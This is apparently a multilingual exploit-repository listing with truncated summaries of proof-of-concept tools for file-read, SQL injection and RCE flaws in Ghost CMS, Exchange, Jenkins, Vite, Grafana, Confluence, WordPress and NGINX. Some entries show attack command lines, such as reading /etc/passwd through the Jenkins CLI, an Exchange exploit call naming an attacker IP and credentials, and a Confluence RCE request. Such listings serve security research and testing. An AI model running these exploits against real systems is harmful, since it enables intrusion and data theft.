CVE-2023-40028

CVE-2023-40028: Ghost CMS произвольное чтение файлов Описание Этот Proof-of-Concept POC может быть использован для эксплуатации уязвимости CVE-2023-40028 с целью получения доступа к чтению файлов в Ghost CMS. Ghost — это система управления контентом CMS с открытым исходным кодом. Версии до 5.59.1...

CVE-2026-45504

CVE-2026-45504 Exchange 파일 읽기 CVE-2026-45504 Exchange 파일 읽기 연구 블로그 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2023-22047

Description: CVE-2023-22047은 Oracle PeopleSoft에서 인증 없이 파일을 읽을 수 있는 취약점입니다. 그러나 고급 익스플로잇 공격자는 이 취약점을 사용하여 원격 코드 실행을 수행할 수 있습니다. Peoplesoft 애플리케이션 "Portal.war"의 서블릿 "WSRP Consumer ResourceProxy"는 파일을 읽고 모든 호스트에 요청SSRF을 보낼 수 있는 기능을 제공합니다. 이 취약점을 통해 공격자는 영향을 받는 서버에서 쉽게 원격 코드 실행RCE을 달성할 수 있으며, 이는 실제...

CVE-2023-49031

LFI Tikit eMarketing CVE-2023-49031 発見 2023年11月、クライアントエンゲージメント中に、Tikit（現Advanced）が開発した「eMarketing」プラットフォームにおいて、新たなローカルファイルインクルージョンの脆弱性が特定されました。この問題は2024年2月にAdvancedと協力して解決されました。 影響を受けるバージョン この脆弱性はバージョン6.8.3.0でのみテストされ、脆弱であることが確認されています。 攻撃ベクトル...

CVE-2024-23897

CVE-2024-23897 — Jenkins CLI 임의 파일 읽기 빠른 시작 root@kitploit: 1. Start lab docker-compose up -d 2. Wait 30s, then download CLI tool curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar 3. Exploit — read /etc/passwd full file java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node...

Vite-CVE-2025-30208-EXP

CVE-2025-30208 检测工具 漏洞分析 CVE-2025-30208是 Vite 开发服务器中的任意文件读取漏洞。攻击者可通过构造特殊路径（如 @fs 前缀）读取服务器敏感文件（如 /etc/passwd 或 C:\windows\win.ini）。本工具支持单目标检测、系统信息探测及深度环境分析，并提供代理功能以适配复杂网络环境。 功能特性 单目标检测 ：通过命令行参数指定单个目标 URL 进行漏洞验证。 系统信息探测 ：支持基础系统探测（操作系统类型、工作目录）和企业级深度检测（用户权限、Web服务配置、云环境指纹）。 代理支持 ：支持通过 HTTP/HTTPS...

CVE-2024-36991-Tool

CVE-2024-36991-Инструмент Этот бинарный POC автоматизирует эксплуатацию CVE-2024-36991, отправляя специально сформированные запросы curl уязвимому экземпляру Splunk. Он извлекает конфиденциальные файлы и сохраняет их локально для дальнейшего анализа. Скрипт является модульным, позволяя...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : Имя пользователя/email для целевой Ghost CMS. --password : Пароль для целевой Ghost CMS. --url : URL целевой Ghost CMS например, http://website.com. 1. Вход: скрипт аутентифицируется через API администратора Ghost CMS и получает сессионный cookie. 2...

CVE-2025-24963

CVE-2025-24963 - Режим браузера Vitest - Чтение локального файла CVE-2025-24963 — это уязвимость средней степени серьезности оценка CVSS 3.1: 5.9, затрагивающая пакет @vitest/browser, компонент фреймворка тестирования Vitest на основе Vite. Эта уязвимость возникает из-за неправильной проверки...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - 부적절한 접근 제어 취약점을 이용한 Adobe ColdFusion 임의 파일 시스템 읽기 자세한 내용은 ma4ter 의 블로그 게시물을 참조하십시오: Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 영향을 받는 제품 및 버전:...

CVE-2025-30208

CVE-2025-30208 Vite 개발 서버에서 특수 원시 임포트 쿼리 문자열을 사용하면 공격자가 임의의 파일을 읽을 수 있습니다. CVE 요약 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10 이전 버전의 Vite 개발 서버는 @fs 요청에 대한 server.fs.deny 파일 접근 검사를 우회할 수 있습니다. @fs URL에 ?raw?? 또는 ?import&raw??를 추가하면 일반적으로 개발 서버 허용 목록에 의해 차단되어야 하는 파일의 내용이 반환됩니다. Vite 개발 서버를 네트워크에 명시적으로 노출...

CVE-2021-43609-POC

Spiceworks Sort SQLi Spiceworks の sort パラメータに SQLi が存在します。完全なエクスプロイトチェーンは SQLi - ファイル読み取り - RCE です。 デモ 前提条件 root@kitploit: apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev pip3 install requests gem install bundler && cd rce && bundle install ステージ 1 poc.py を使用して SQLi...

CVE-2024-9264

🚨 CVE-2024-9264 - Grafana SQL 인젝션으로 인한 원격 코드 실행RCE 및 파일 읽기 CVE-2024-9264용 익스플로잇 도구, Grafana의 심각한 취약점 으로 인증된 공격자가 SQL 쿼리를 실행하여 RCE로 이어지게 합니다. 🛡️ 이 도구는 엄격히 교육 목적 및 공인된 침투 테스트 를 위한 것입니다. 무단 사용은 불법이며 비윤리적입니다. 🧠 취약점 개요 🕳️ CVE-2024-9264란? CVE-2024-9264 는 Grafana의 심각한 결함으로, 인증된 공격자가 SQL 명령을 실행하여 RCE 및 파일...

exploit_cve-2021-29447

exploitcve-2021-29447 교육 목적으로만 사용하세요. 이 익스플로잇은 WordPress 5.6.2 및 PHP 8을 실행하는 서버에서 모든 파일을 가져올 수 있는 매우 편리한 도구입니다. https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 참조 필요한 것은 기본 wp-admin 접근 권한과 미디어 파일 업로드 기능뿐입니다. 이 익스플로잇은 wp-admin을 사용해 업로드할 .wav 파일 페이로드를 생성합니다. 그런 다음 익스플로잇의 백 서버를...

nginx-rift-private-lab

NGINX Rift CVE-2026-42945 のRCE（リモートコード実行）概念実証です。これは、2008年に導入されたNGINXの ngxhttprewritemodule における深刻なヒープバッファオーバーフローです。このバグにより、rewrite および set ディレクティブを使用しているサーバーに対して、認証なしのリモートコード実行が可能になります。...

CVE-2025-30208-31125-31486-32395

Vite 취약점 악용 가이드 CVE-2025-30208/31125/31486/32395 이 문서는 Vite 개발 서버에서 발생하는 네 가지 임의 파일 읽기 취약점의 악용 방법을 요약하며, Linux 및 Windows 시스템 예제를 포함합니다. 참고: 승인된 보안 테스트 환경에서만 사용하세요. 기본 원리 Vite 개발 서버의 이 네 가지 취약점은 모두 공격자가 server.fs.deny 제한을 우회하여 서버의 임의 파일을 읽을 수 있도록 합니다. 각 취약점은 서로 다른 우회 기술을 사용하지만 기본 원리는 유사합니다. 영향 조건 ...

mpDNS

mpDNS, он же многоцелевой DNS-сервер Простой настраиваемый DNS-сервер с множеством полезных функций Python 3 names.db - хранит все пользовательские записи см. примеры Простые подстановочные знаки, например .example.com Перехват unicode DNS-запросов Пользовательские действия, также известные как...

CVE-2023-40028

CVE-2023-40028 PoC 익스플로잇 Ghost CMS의 심링크 업로드 취약점으로 인한 임의 파일 읽기 PoC 이미지 취약점 상세 CVE-2023-40028 은 Ghost CMS 5.59.1 이전 버전의 취약점으로, 인증된 사용자가 심볼릭 링크심링크를 업로드하여 호스트 시스템의 임의 파일을 읽을 수 있게 됩니다. 이 취약점은 Ghost CMS의 업로드 기능을 이용해 민감한 파일을 가리키는 심링크를 배치함으로써 악용될 수 있습니다. 심링크가 업로드되면 공격자는 서버에 조작된 HTTP 요청을 보내 대상 파일에 접근할 수...

CVE-2019-3396

CVE-2019-3396 Confluence 미인증 RCE CVE-2019-3396 취약점 주의할 점: 일부 버전은 성공하려면 Referer를 추가해야 합니다 파일 읽기 root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:55.0 Gecko/20100101 Firefox/55.0 Accept: text/plain, /; q=0.01...

CVE-2025-52688

CVE-2025-52688 影響を受ける製品 Alcatel AP13161 - エンタープライズWIFIアクセスポイント 概要 ここでは主に2つの脆弱性が取り上げられています： 複数のJSON Webパラメータにおける入力サニタイズの欠如により、; のような悪意のある文字が注入され、コマンドインジェクション攻撃を引き起こす可能性があります。 fileName パラメータにおける適切なサニタイズとアクセス制御の欠如により、サーバー上の不正な任意ファイル読み取りが可能になります。 この脆弱性は、CSA（シンガポールサイバーセキュリティ庁）とNTUが主催したSPIRICYBER-24...